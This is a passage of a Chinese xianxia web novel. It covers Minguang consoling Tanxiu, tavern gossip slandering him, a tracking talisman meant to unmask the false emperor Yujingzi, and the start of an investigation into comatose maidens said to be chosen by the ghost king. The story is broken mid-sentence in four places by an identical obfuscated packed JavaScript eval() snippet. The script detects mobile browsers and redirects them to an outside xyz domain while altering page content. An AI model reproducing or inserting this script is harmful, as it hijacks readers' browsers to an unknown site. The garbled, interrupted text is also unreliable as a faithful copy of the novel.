“你明明可以把这件事闹大,把我的名声搞臭,为什么不这么做呢?” “因为檀绣的悲剧不是你直接造成的,而且你也愿意设法救活她,所以我不会跟你过不去。如果你明知自己是踩着檀绣上位的,却为了保全名声地位巴不得她就此死掉,那么这件事我一定会有多大闹多大,能把你搞多臭就多臭。” 明光一番话说得直言不讳,檀绍听得脸色苍白欲言又止,最终还是什么也没有说直接走了。 那个御风而去的身影曾经无限意气风发,如今却是一派无精打采。 . 走到西厢房前,明光伸手敲了敲门,轻声问道:“檀绣姑娘,我能进来吗?” “请进。” 西厢房中,死而复生的檀绣独自坐在床上,清秀的面容上犹自愤恨难消。 见到明光,她勉强一笑道:“多谢灵曜天君告知我真相,否则我连死了都被蒙在鼓里。” 檀绍刚才已经把整件事的来龙去脉都对檀绣交代了,所以她知道了明光的身份。 “不用谢,不知姑娘接下来有何打算?” 檀绣惨淡一笑道:“我能有何打算?一直以来我的人生目标都是修仙,如今才知道此事已成痴心妄想。檀豫把我的金丹给了檀绍,他也没办法再还给我,我以后还能怎么办?” 人间凡界的修士结成金丹后,神仙可以暗中转移它。但是修士一旦飞升成仙,金丹就会成为与丹府融为一体的无形存在。 “檀绍说,如果能够把金丹还给我,他一定会毫不犹豫地那么做,哪怕因此而死也无所畏惧。我相信他,也不会因此怪他,毕竟这一切发生时他也被蒙在鼓里。但是檀豫这么对我,我真的好恨啊!” 檀绣一番话说到最后时,情不自禁地咬牙切齿,后槽牙磨得格格作响。 “檀绣姑娘,檀豫的行为着实可恨,你憎恨他再合理不过了。” “如果可以的话,我真想去紫衡帝君那里告御状,让檀豫的所作所为大白于天下。可是我做不到,而檀绍又不能这么做。檀豫的做法虽然害惨了我,于他却是有恩,他如果去举发他就成了恩将仇报。” 明光理解地点头道:“檀绍的处境确实是左右为难。” “檀绍倒是一个堂堂正正的男子汉,他坦率地告诉我,他不能帮我举发檀豫,但也无颜继续当这个武神。原本他想自堕凡界放弃这并不属于他的一切,只是仙鬼大战在即,天界的武神都要负起重任。他将在这一战中竭尽全力,万死不辞。” 135.不值得 顿了一下后,檀绣若有所思地道:“檀绍这番话,现在回想起来怎么好像是准备英勇赴死的感觉呢?” 明光也听出来了。 “他或许就是这么打算的。因为自己的武神之位得来并不光彩,所以他想在仙鬼大战中力战至死,用死亡结束一切,也能用鲜血来洗清耻辱。” “还好我的金丹是给了檀绍,如果檀豫把它给了一个人品低劣的家伙,我就要更替自己感到不值了。” “是啊,檀绍没有浪费掉你的金丹,也是一位配得上它的仙官。整件事中,这是唯一差可告慰的地方。” 檀绣恨恨有声道: “整件事皆由檀豫而起。同为檀氏一族的后人,他却厚此薄彼地选择牺牲我力捧檀绍上位。凭什么?凭什么男子才能光宗耀祖?女子就应该平庸一生?明明天分过人的是我,结成金丹的也是我,他为什么就不能接受我,非要拿我当垫脚石助檀绍上位?” “其实檀豫这么做不是为了檀绍,而是为了自己。因为檀绍长得跟他年轻时一模一样,他在通过帮助檀绍来间接补偿年轻时的自己。这是一种移情心理。” “所以我生不逢时,如果不是同辈子弟中有一个酷似檀豫年轻时的檀绍,他就未必会因为我是一个女子而坏我前程。摊上这么一位老祖宗,我还真不如不姓檀,这条修仙之路还能走得公平一些。” “檀绣姑娘,世事没有绝对的公平,能有相对的公平就已经很不错了。我知道你现在满心都是对檀豫的憎恨,接下来你也打算一直活在仇恨中吗?” 檀绣定定地注视着明光发问。 “灵曜天君,你从神仙沦为妖怪,际遇堪伤比我有过之而无不及。但我从你身上并没有感受到滔天的恨意,为什么?你就不憎恨那些把你害成这样的人吗?” “我当然也憎恨过,但是恨意滔天的时候已经过去了。作为过来人,檀绣,你听我一句劝。一辈子活在仇恨中不值得,放不下仇恨的人都过得很痛苦。你已经死过一次了,好不容易得到了救命仙丹重活一世,为什么不重新开始呢?” 见檀绣一副心有不甘的样子,明光又柔声道:“檀绣,如果你经过一片沼泽地时突然陷入泥潭,你是会设法尽快爬出来,还是要继续呆在泥潭里?” “当然是尽快爬出来,谁会继续呆在里头,等着被它完全吞噬吗?” “人生也像一片沼泽地,难免会有遭遇泥潭的时候。檀绣,如果你一直深陷在仇恨的泥潭中,并不会对檀豫造成什么影响,只会让你自己每一天都活得痛苦万分。我希望你放下仇恨,不是让你原谅檀豫,而是让你放过自己。你还这么年轻,人生路还很漫长,你应该过的是幸福快乐的生活,而不是终日与仇恨为伍作伴。仇恨会腐蚀人的心灵,扭曲人的心态,到头来把人变得面目全非。” “檀绣,别让檀豫把你彻底搞垮,振作起来重新开始,让他好好看看你绝非那种会平庸一生的女子。即使因他仙途受阻,也能在其他方面打上一场漂亮的翻身战。以你目前的修为,如果改走习武之道,假以时日未必不能成为花木兰、穆桂英之类的巾帼英雄,人间凡界照样会建祠立庙树坊纪念她们,永远青史留名。不是吗?” 明光的话仿佛一阵劲风,为檀绣拔开了笼罩在心头的大片乌云,一双原本黯淡无光的眼睛蓦然变得晶亮无比。 “多谢灵曜天君指点迷津,接下来我知道自己该怎么办了!” . 檀浦镇,明光和应长恨坐在一家酒楼里的雅座里。 他们一边吃着酒菜,一边隔着半挂竹帘,听着帘外不远一桌散修的谈话,他们正在聊檀家村近日发生的怪事。 “那天那个黑气冲天啊,方圆百里内都能看得见。若不是冲元真君及时下凡驱鬼,檀家村也不知道要死多少人。” “檀仙郎真不愧是檀氏一族数百年来一枝独秀的人物,他一露面,据说那个什么鬼就直接望风而逃了。” “那是,冲元真君如今可是天界最年轻的仙官,没有之一。” “如此年轻有为,堪称数百年难得一见的修真奇才啊!” “是啊,除了当年的明光,放眼天下也没人能与之并肩了。” “明光那家伙就别提了,你们难道没听说吗?当年明光所谓的力阻走蛟,其实是无极宗数位高手组团作战才搞定的。只是他那位宗主老爸想捧自家儿子上位,所以把功劳都归到他身上。明光就这样被塑造成了一人一剑力斩妖蛟的少年英雄,还因此飞升成仙。其实他只是沽名钓誉之徒,跟檀仙郎这种实打实靠自己苦修出来的根本没法比。” 应长恨听得神色一变,差点就想把手里的酒杯砸过去了。 明光眼疾手快地一把按住他,微微摇头示意他不要动怒。 “阿难哥哥,明明你才是真正实打实靠自己苦修出来的,却遭人这般轻蔑诋毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016942|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。而檀绍这个靠暗箱操作上位的家伙,却被他们这般赞誉有加。这叫什么事啊!真是气死我了!” 应长恨气得要命,明光却见惯不怪地无谓一笑。 “算了,如果别人胡说八道,咱们听了就要被气死,那也未免太不划算了。是吧?” 那几个散修们的谈话还在继续。 “真的吗?还有这种事,你从哪儿听说来的。” “前些天在越城,明光出手对付了一帮修士。据说他们手里有证据,能够证明他当年所谓的力阻走蛟是弄虚作假,被他恼羞成怒地关进粪坑打击报复。这帮倒霉蛋在粪坑里泡了整整三天三夜,差点没被沤成粪肥。其中一位葛真人刚正不阿,声称绝对不会因此屈服,会继续揭露明光的真面目。” 明光推测这位葛真人应该就是那个葛袍修士。 在粪坑里泡了三天三夜的经历,一定被他视为奇耻大辱。为了抵消这种耻辱,他决定把自己不畏强权的好汉人设死撑到底。 应长恨才知道还有这回事,眉宇间再一次怒气涌动:姓葛的王八蛋你给我等着,看老子怎么收拾你。 有人义愤填膺,“什么?这个明光也太过分了吧!别人拿出证据来证明他弄虚作假,他就用这种恶劣手段报复人家。” 有人持不同意见,“不对呀,三百年多前的事,怎么还能拿得出证据呢?那到底是什么证据?” “好像说是当年无极宗的一位高手,曾经参与了斩蛟行动的组团作战,去世前特意留下手书一封,说明光是靠独揽他们所有人的功劳才出名的。” “就只是这样一封手书,也太容易伪造了吧?而且明光如果真的弄虚作假了,事实真相在当年更容易被揭穿。怎么当年都没有人站出来说什么,时隔三百余年后反倒传出了这种说法呢?” “瞿真人你什么意思啊?你这是向着明光那种乱臣贼子说话吗?” “非也非也,我是就事论事,就是感觉这件事有些说不通。” “有什么说不通的?明光当年如日中天,所以没有人敢站出来说出真相。现在他已经垮台了,别人没了顾忌自然也就敢说了。” “可明光不是现在才垮台的,他三百年前就已经遭贬了,当时怎么没人站出来,说他一人一剑力阻走蛟是弄虚作假呢?” “你问我问谁呀?瞿真人这么向着明光说话,到底是哪边的?该不会是想跟着他犯上作乱吧?” 136.如影随形符 这顶大帽子一扣,那位瞿真人不得不赶紧澄清自己。 “我可没这种想法,只是就事论事而已。算了,我啥也不说了行了吧?” “瞿真人,你是该少说几句。咱们这趟来檀浦镇,目标都是求购檀氏一族的独门丹药。我们只是想要增强修为的丹药,你却是想要疗伤的丹药来治疗自己因炼气时不慎造成的内伤。你与其向着明光说话,不如想一想怎么把冲元真君夸出花来,檀氏才有可能卖丹药给你啊!对吧?” 檀豫是靠丹道之术飞升成仙的仙师,檀氏一族千百年来也一直擅长此道。 虽然他们炼制的丹药没法跟檀豫比,但在人间凡界也是首屈一指的灵丹妙药,不少修真人士都会专程前来求购。 檀氏丹药一直是求大于供的紧俏货,不是捧着银子去就能买得到的。 卖给谁或不卖给谁,还得檀氏一族说了算。要是看谁不顺眼,再有钱都不卖给他。 瞿真人苦笑道:“对对对,兄台说得对,感谢赐教。” . 帘外传来的对话内容,听得应长恨整张脸板成铁板一块。 “阿难哥哥,以前我不明白,为什么你遭贬后几乎没人替你说话。现在我终于懂了,绝大多数人都是人云亦云的,会对官方给出的结论深信不疑,自以为站在正义的一方对你口诛笔伐。少数人虽然能看出事情有疑点,一开始还会指出那些不对劲的地方,但是被扣上一顶“偏向坏人”的大帽子后就不敢再说话了。尤其是这种行为还会影响到他们自身利益的情况下,更是要闭紧嘴巴。” “嗯,这也不能怪他们,如果帮别人说话要担风险,有几个人会愿意这样舍己为人?能做到这一点的只有圣人,而世人大都是俗人。阿难弟弟,你我也未必能做到对吧?” 应长恨毫不犹豫地道:“阿难哥哥,如果是帮你我就在所不辞,这条性命都可以不要。” “咱们兄弟之间自然可以如此,但是这位瞿真人压根就不认识我,凭什么要豁出一切力挺我到底呢?像他这样能就事论事说出自己的想法,就已经很不错了。如果还让他因此担风险,我都过意不去。” . 说话间,越君朴一身凡夫俗子的打扮走进酒楼。目光扫视一番后,径直走向明光所在的雅座。 “阿难哥哥,你猜对了,他果然又来找你了。” “越君朴设法逼玉京子亮了剑,肯定要来告诉我这件事。咱们刚在檀浦镇露过面,他来这里找人再合理不过了。” “所以你在檀浦镇多留一天,方便他来找人。” 越君朴掀开半幅竹帘,不请自来地在桌子旁坐下来,注视着明光的目光带着严厉的谴责。 “明光,你之前声称帝君是玉京子假冒的,事实却证明他就是英昊本人,因为我今日设法让他拔出了神锋剑。你存心欺瞒我,是不是为了骗我当仙奸,好让我像你一样变成乱臣贼子,以此报复我当年贬你下凡时开了畜生道?” 什么?当年居然是越君朴害得明光走了畜生道。 应长恨听得又惊又怒,下意识地就想一拍桌子发飚,却被明光按住了手臂。 “阿难弟弟,冷静一点,不要动不动就发飚,太不成熟了!稳重一点啊!” 应长恨用力磨着后槽牙,强行按捺下自己的满腔怒火,只是一双眼睛依然怒焰熊熊地瞪着越君朴。 “越君朴,你说的这种情况有一种解释,如果当年玉京子杀了紫衡帝君后,再囫囵吞食了他的尸体,那么他们二人就会形成血肉融合的关系,照样会被神锋剑奉为主人。虽然这波操作很恶心,但是玉京子想要李代桃僵地当上帝君就必须这么做,否则神锋剑将会成为一个很大的漏洞。而且这一恶心操作也只有他能做到,如果换作你我都没法堵上这个漏洞。” 越君朴听得神色一变,明光的这一解释虽然合情合理,但他还是深表怀疑。 “明光,你声称帝君身份存疑,可自始至终都只是你的一面之辞,拿不出任何证据。我今日都让帝君亮剑了,你又说出这么一番话来,想让我继续怀疑他,我凭什么要相信你?” “我说我的,信不信由你。你要是不爱听,我可以换一个话题。我已经把无极宗的所有人都转移走了,摩宵宫眼下成了空宅一座。” 出其不意地一怔后,越君朴很快反应过来明光为什么要这么做。 “你担心有人会对他们不利?” 应长恨冷哼一声道:“确切的说,不是有人——而是有个死蛇精会对他们不利。” “明光,你扬言要勾结鬼王一起进攻天界,帝君的应对之策不过是让天兵天将们开始备战而已,不可能会对人间凡界的修士下手,你未必太过以小人之心度君子之腹了。” 明光道:“如果是真正的帝君英昊,自然不会这么做。但是玉京子就不同了,以他那种为达目的不择手段的做派,我可不敢掉以轻心。” “仙鬼大战是云间仙境和无间鬼域的战事,帝君如果利用人间凡界的修士性命来威胁你罢战,如此手段下作上不了台面的事,他就算想这么干也是不行的。” “明里当然不行,暗中操作不让人知道就行了。况且玉京子可不是想利用这一点让我罢战,而是为了让我交出一件仙家法宝,那才是他真正看重的东西。” 明光透露出来的一切,让越君朴本能地追问。 “什么仙家法宝?为什么会在你手里?” “这个我暂时不方便透露,总之你只要知道一点,玉京子眼下很想得到它,所以我必须转移无极宗的所有人,以免连累他们。” “你为什么要告诉我这件事?” “当然是有原因的。玉京子如果想抓走无极宗的人威胁我,只能是他自己亲自动手,因为此事必须绝对保密不能被别人知道,否则他帝君的形象就要彻底崩了。这点你认同吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026892|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 越君朴狐疑地看着明光反问道:“所以呢?你的重点是什么?” “别着急,我马上就要讲到重点了。摩宵宫眼下虽然空无一人,但我留下了一张如影随形符在那儿。如果玉京子跑去抓人,那张符会自动跟上他,时效长达七日之久。” “如果你在天界见到的帝君,身后隐约闪烁着一点金鳞似的光芒,那就证明他亲自去了摩宵宫想要抓人。这么下作的事英昊是肯定不会干的,只有玉京子才会如此不择手段。怎么样,这样是不是比拔出神锋剑更能证明他是冒牌货?” 越君朴有一大堆问题要问: “什么如影随形符?我之前从未听说过,当真有这种效果?就算真有,你留这么一张符在摩宵宫,如果有人在帝君之前误入了怎么办?它岂不是要跟着别人走了。” “不会的,我那张如影随形符以本体金鳞幻化而成,被设定为只对鳞族同类生效,而且还必须是有仙气的鳞族之流。玉京子原是天界仙蛇,这张符就是为他量身打造的,只会跟着他走。” 越君朴听出来了,下意识地问:“你现在的原形是鳞族动物?” “问那么多干吗?又憋什么坏呢?想要知道他的弱点再暗算他一次吗?” 应长恨忍不住怼起了越君朴,听得他不无难堪地咬了一下唇,明光打着哈哈道:“阿难弟弟,你先别说话,等我把话说完。” 应长恨虽然还在冲着越君朴翻白眼,却听话地没有再吭声。 “越君朴,我刚刚感应到,那张如影随形符动了。” 明光用本体金鳞制成的如影随形符,一旦驱动就会有所感应。 越君朴一脸将信将疑的神色,“你的意思是,帝君已经进了摩宵宫?” “只能是他了,你如果不信就回云间仙境自己找证据吧!接下来的七日内,那张如影随形符都会像影子一样跟着玉京子,只要你仔细看,就能在他身后看见一点鳞片般隐约闪烁的金光。” “如果看不见呢?” 迎视着越君朴不无质疑的目光,明光声音笃定地回答。 “如果看不见,那就是我错怪他了。不过我敢打保票,越君朴,你一定会看见的。到时候你如果要找我,就去摩宵宫后殿的祖师牌位下留道指路符,我自然会去见你。” 越君朴心乱如麻地走后,应长恨还在恨恨有声地骂他。 “真没想到越君朴这家伙竟是这样的无耻小人,明明他和你是师出同门的前辈与后辈,理应互相照应的关系,可是你落难时他不施以援手也就罢了,居然还干出这种落井下石的事。阿难哥哥,刚才要不是你拦着,我真想把他的头拧下来当球踢。你怎么还能心平气和地跟他说话,一点也不生气呢?” “当一个人落难的时候,世态的炎凉和人情的冷暖,往往最容易体现出来。有道是锦上添花易,雪中送炭难。这方面我早就看开了,都懒得生这种闲气。” 137.私欲 虽然明光看得开,应长恨却还是气不过。 “阿难哥哥,难道这事就这么算了,你不想教训一下他吗?” “当然想了,只是眼下有更重要的事,得先让越君朴配合咱们揭露玉京子的真面目,这笔账就要等以后再算了。反正我已经跟他说好了秋后再算账的事,他也保证不会赖账。” 应长恨没好气地哼了一声。 “那还算这家伙有点担当。不过越君朴当年为什么要对你这样落井下石?你们都出身于无极宗,这种同宗同源的关系,难道不应该是比别人更亲密吗?” “理论上虽然如此,但实际上这样的关系有时候反而更容易生出嫌隙。” “为什么?” 看着应长恨一脸不解的样子,明光举例说明。 “这么说吧,如果你和郦子微是同宗兄弟,两人一起考科举,他高中状元而你却只是三甲进士,比他差了一大截。所有人都在花式夸奖他也就罢了,还要说你怎么怎么不如他,你心里会是什么滋味?” 这样举例说明一下,应长恨就很快明白了。 “如果我和郦子微不是同宗兄弟,而是毫无关系的两个人,我考上一个三甲进士其实也能光宗耀祖了。但就因为有这么一个状元兄弟在前头压着,我非但无法出彩,还会被比得黯淡无光。” “对了,就是这么一回事。我和越君朴的关系就是这样,自从我飞升成仙后,他就不可避免地被我压了一头,也不避免地被别人拿来跟我比较。因此渐渐心理失衡,最后有机会踩我一脚时自然也不会犹豫。” 应长恨还是没法不生气。 “太过分了!实在太过分了!他都已经飞升成仙了,理应看淡名利得失才对,为什么还这么在意他人对你们的比较?凡心看来未泯啊!” “神仙本是凡人做,凡心未泯也不奇怪。云间仙境的仙官们,或多或少都有一点凡心残留,而有凡心就会有私欲。” 顿了一下后,明光又徐徐道: “像卫靖为了保全自己的精魅儿子,放任他在瀚海沙漠为祸一方;像檀豫出于移情心理,一定要扶持酷似他年轻时的檀绍上位;像郦子微为了不给自己惹麻烦,出手毁去那个能证明黑虎私自下凡吃人的山洞;像钟离斐因为满门遭屠的遭遇,一直特别憎恨乱臣贼子,当我被扣上这样的罪名后他就深信不疑;这些都是私欲导致的结果。” 应长恨听了情不自禁地点头道:“这么听起来,这些仙官们还真是跟凡人差不多,私欲难消啊!” 所谓私欲,就是私心导致的欲望。 凡人修成正果得道成仙后,虽然肉身成了长生不老的神仙,但私心却很彻底泯灭,有时候还会为了一己私欲而不择手段。 “对了,阿难弟弟,那位桓德真君吕翊周,你查得怎么样了?” “查过了,他出身岭南万象宗,飞升前据说是个风流浪子,飞升后却一反常态成了清心寡欲的仙官,负责镇守南海,成仙百余年来一直表现平平,属于中不溜丢的那类仙官,没啥亮点也没啥黑点可说。” 明光沉思片刻后,突然话题一转说起了一桩前尘旧事。 “我还是灵曜天君的时候,有回经过南海上空发现海中有妖怪作祟,法力很是不弱,假以时日必成难以收服的大妖。我本想趁早收了它,可是日月明一出它就立马望风而逃,逃得太快没追上。后来我还去南海巡过几次海,都没有发现妖怪的行踪。没过多久我遭贬下凡,再也顾不上南海这个妖怪,这三百年里想来它应该已经成功修成大妖了。” 应长恨一边思索一边道: “可是这三百年来没听说有南海大妖横行、为祸一方的消息。对了,越君朴前两年不是斩杀了一个巨鼋妖嘛!该不会就是它跑去东海作祟结果玩完了吧?” “东海与南海虽然连在一起,地理位置的差异却导致了气候环境的迥异。在南海修炼成精的水族妖怪,没理由跑去东海兴风作浪,毕竟客场作战是很吃亏的。” “这倒也是,那这个准大妖怎么无声无息地就熄了火,没动静了呢?难道是被吕翊周给收了?” “降服大妖可是大功一件,如果吕翊周收了南海大妖,事情不可能会这么无声无息,未免太不合理了。” “可事实就是南海这三百年来没有大妖作祟,如果不是吕翊周降服的,那是不是它自己倒霉,在渡天雷劫的时候被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034697|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈死了?” 只有成功渡过天雷劫的妖怪才能成为大妖,法力会更上一层楼,变得格外强大。 “谁知道呢?阿难弟弟,反正闲着也是闲着,要不咱们去南海逛一逛吧?” 应长恨毫无异议地点头,“行。” . 离开酒楼的时候,明光看见那桌散修也结了账,正三三两两地往外走。 瞿真人可能是刚才说的话不太讨喜,没有人与他并肩同行,独自一人落寞地走在最后头。 明光只是略施神通,就让他挂在腰间的荷包掉了下来。 “这位真人,你的荷包掉了。” 瞿真人回头一看,障眼术让他看见一个平平无奇的路人,正双手奉上自己的荷包,赶紧接过道谢。 “多谢这位小兄弟。” “不客气。” 瞿真人是特意来买檀氏丹药的,这玩意儿死贵,所以荷包里揣着好几百两银票,要是万一弄丢了他非得急死不可。 虽然不明白自己系得很紧的荷包怎么突然就松开掉了,但是这位捡金不昧的小兄弟让他十分感动,打算回报一下这份善意。 “小兄弟别走,我给你一点碎银作为报答。” 一边说,瞿真人一边打开荷包,意外发现里头不知几时多了一枚灵丹。 那是一枚仙气氤氲的灵丹,一看就不是人间凡界的俗物,檀氏一族炼制的丹药根本没法比。 明光以“丹霞子”的身份混迹普和殿时,趁机顺走了几枚疗效一流的灵丹。瞿真人眼下正好需要疗伤丹药,他就很慷慨地送出一枚。 突然掉落的荷包,无端多出的灵丹,瞿真人也不是傻子,一怔之后就下意识地抬头望向明光,相貌平凡的路人却笑得若无其事。 “不用了,真人自己留着吧。” 瞿真人已经意识到了这个“路人”不简单,却不清楚他究竟是谁,又为什么要送自己如此珍贵的仙家灵丹。 有心想要开口追问,明光却看着他微微摇头,示意不必刨根问底。 明光很快和应长恨一起并肩走出了酒楼大门,瞿真人目送他远去的身影,不由自主地弯下腰去深深一躬。 138.鬼王选妃 岭南一带,东合半岛,香洲城。 狭长的东合半岛,从空中俯瞰宛如一条巨龙直入南海。 香洲城正处于龙首位置,是岭南一带最南端的城市。这里依山傍海,风光旖旎,经常有文人骚客慕名前来赏景吟诗。 仲秋时节的香洲城下着雨,一层秋雨一层凉,风里有着明显的寒意。明光和应长恨同撑一把伞,并肩行走在桂子飘香的街头。 香洲城最近出了一件怪事,好几位绮年玉貌的待嫁少女,不知为何都出现同样的状况。 头晚睡觉前还好好的,次日一早却昏迷不醒。大夫也搞不清楚原因,只知道病人一夕之间变得极度虚弱。 有人觉得这应该是邪祟作怪,就找了修士来除祟。 负责除祟的修士很是卖力折腾了几回,那些昏迷的少女们依然昏迷不醒,并且还有新的受害人出现。 前两日,沧城一位富贾邢老爷家的千金也中了招。 邢老爷十分宝贝这个最小偏怜女,不惜重金从阳城请来万象宗的新任宗主为其除祟。 这位新任宗主是左铨胞弟左钊,还是有两把刷子的。他的一番设坛作法,让邢小姐微微睁开了一线眼,满脸似梦似醒的茫然。 “邢小姐,你身上有邪祟作怪,待我设法赶走他,你就没事了。” 邢小姐梦呓般喃喃道:“没有邪祟,是鬼王在选妃,我被选中了。” 左钊一听这话,立马吓得撂担子不干了,退回重金让邢老爷另请高明。 仙鬼大战在即,他们这些凡界修士再清楚不过了。 鬼王应长恨可是连紫衡帝君英昊都要头痛的主儿,左钊才不敢去招惹这个硬茬,一个弄不好就要小命玩完。 邢老爷绝望了,“不是吧?我女儿居然被鬼王缠上了,那还有救吗?” “邢老爷,鬼王应长恨狂妄自大,天界的帝君已经准备要收拾他了,您就放心吧!等到他伏诛的那一天,令千金自然就会好了。” 左钊有意隐瞒了应长恨和明光主动向天界发出挑战的事,反过来说成是紫衡帝君要着手收拾他,总之不能涨他人志气灭自己威风。 “那紫衡帝君什么时候能把他给收拾了?” “这个我就不清楚了,反正帝君与鬼王必有一战。” “鬼王选妃”这一消息很快传开了,沧城那些有妙龄女儿的人家都提心吊胆,不少人跑去庙里烧香祈求神仙保佑。 岭南一带的武神只有负责镇守南海的吕翊周,跟鬼王不是一个重量级的。 信徒们也知道指望不上他,纷纷直接去紫衡庙给帝君英昊烧香,希望他能早点把那个该死的鬼王收拾了。 . 得知所谓“鬼王选妃”一事后,应长恨十分火大。 “哪个王八蛋吃了熊心豹子胆,干出这么没品的事还敢把黑锅往我头上甩,我看起来难道很好欺负吗?” 明光啼笑皆非地道:“阿难弟弟,不是你好欺负,而是眼下这个仙鬼大战在即的局面很适合混水摸鱼。如果有谁想干坏事却不愿担责,把脏水泼给你自然再方便不过了。” “也是,用鬼王选妃的理由来祸害无辜少女,不但人间凡界的修士都要退避三舍,就算是信香多到能上达天听,那个死蛇精也不敢轻易跟我过招。” “对呀,所以这个暗中作祟的家伙相当滑头,扯起你的虎皮作大旗呢!只是他一定没想到,鬼王本尊已经来了沧城,假李鬼要遇上真李逵了。” 应长恨哼了一声:“敢把黑锅甩给我,真是太岁头上动土,自讨苦吃。” “那是,这家伙拉你来顶缸,他要倒的大霉已经在路上了。” “阿难哥哥,咱们不知道这家伙是谁,怎么把人找出来呢?” “他专门挑绮年玉貌的待嫁少女下手,显然是个好色之徒。我怀疑那些受害人不只是昏迷那么简单,搞不好都元阴已失。不过这种事她们的家人自然不敢声张,只能打落牙齿往肚子里吞。” 应长恨神色了然地道:“有些邪魔外道会利用元阴之体来提升自身修为,如果受害的少女都不再是处子之躯,那她们肯定是充当了人形炉鼎。” “恐怕正是如此。咱们先弄清楚这些受害人是怎么被他选中的,然后再来放饵钓鱼引他上钩。” . 要弄清楚受害的少女是怎么被邪祟选中的,自然要详细了解事发前的种种。譬如姑娘们是否出过门,是否见过客,是否有何异样之处等等等等。 明光首先要查的对象是邢小姐。作为最新一位受害人,邢小姐出事前所经历的一切都隔得不算久,更容易调查清楚。 经过多方打听,明光了解到邢小姐在事发前曾经出门去玄清庙上香。因为她即将出嫁,想要祈求太清元君的保佑。 作为三界最著名的女菩萨,太清元君温且惠是不少信女心目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15044484|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的女性保护神。凡间女子想要祈求婚姻幸福、家庭美满、生育平安等都会去拜一拜她。 这个消息让明光心念一动,马上着手确认其他受害少女是否也去过玄清庙,结果发现她们果然都在事发前的三天内去过玄清庙上香。 应长恨也觉得这肯定不是巧合。 “这些女子都去过玄清庙,那就说明那家伙应该是在那里选中她们的。他好大的胆子,竟敢在神庙里挑选受害人下手。” “因为去玄清庙上香的女信徒很多,他想要物色美貌佳人,在那儿守株待兔能起到事半功倍的效果。否则很多闺阁少女都大门不出二门不迈的,他上哪里去找人呢?” “阿难哥哥,那咱们现在是不是该去玄清庙走一趟了?” “是的,事不宜迟,这就去。” . 沧城城南,玄清庙。 玄清庙是太玄真君和太清元君的夫妻庙。除了正殿有他们夫妻并肩端坐神台的神像外,东西侧殿还分别供奉了二人单独的神像。 西侧殿是太清元君单独接受女信徒烧香祈福的地方,从早到晚都有络绎不绝的信女来这里祈求保佑。 应长恨一身小道士的装束走进殿里,为油灯添香油,为香炉添供香,为神案抹灰尘,动作熟练之极,因为这算是他的老本行。 明光则摇身一变成了美娇娘——他利用改头换面符,再次变身为千娇百媚万种风情的女王蜂黄牡丹,以自己为饵的方式来钓鱼了。 跪在太清元君的神像前,“明美娇娘”满脸虔诚地默默祈祷着,一跪就是半个时辰。跪得全身都快僵掉了,也没有钓出什么大鱼。 “应道士”暗中与他交换了一个眼神,是询问是否还要继续守株待兔的意思,他回了两道肯定无疑的目光。 除了一直虔诚跪在原地不动的明光外,神像前的其余几个蒲团,已经陆陆续续地换了不少信女跪拜。 像明光右侧的那个蒲团,上一位信女刚走没多久,又有一位信女走过来盈盈跪下了。 这位信女甫一入殿,就有一阵淡雅幽馥如兰蕙的香风飘过来。 未见其人,先闻其香,明光直觉来得应该是位美人。等到人在身边跪下后再觑着眼一看,果然是个兰花蕙草般清秀美丽的妙龄少女。 她穿着一身水蓝色衣裳,无论料子做工都是上乘的,身后还跟着两个丫环,一看就是大户人家的千金小姐。 139.华小姐 神色虔诚地上香祈福后,蓝衣少女扶着丫环的手站起来,转身走出西侧殿。 殿门外,不知几时多了一只毛色雪白眼睛碧绿的小猫,一派乖巧模样地蹲在台阶上,让她见了忍不住绽开一朵微笑。 “咦,哪来的小猫?好可爱。” 小猫似乎知道自己很讨人喜欢,一边喵喵叫着,一边走到蓝衣少女脚下依偎着她撒娇,她情不自禁地蹲下去轻抚它。 “小猫,你饿不饿,我有吃的可以给你。” 蓝衣少女爱心满满地把小猫带到庭院一角,让丫环拿出一些点心喂猫。 隔着两扇敞开的殿门,“明美娇娘”和“应道士”把这一幕尽收眼底。 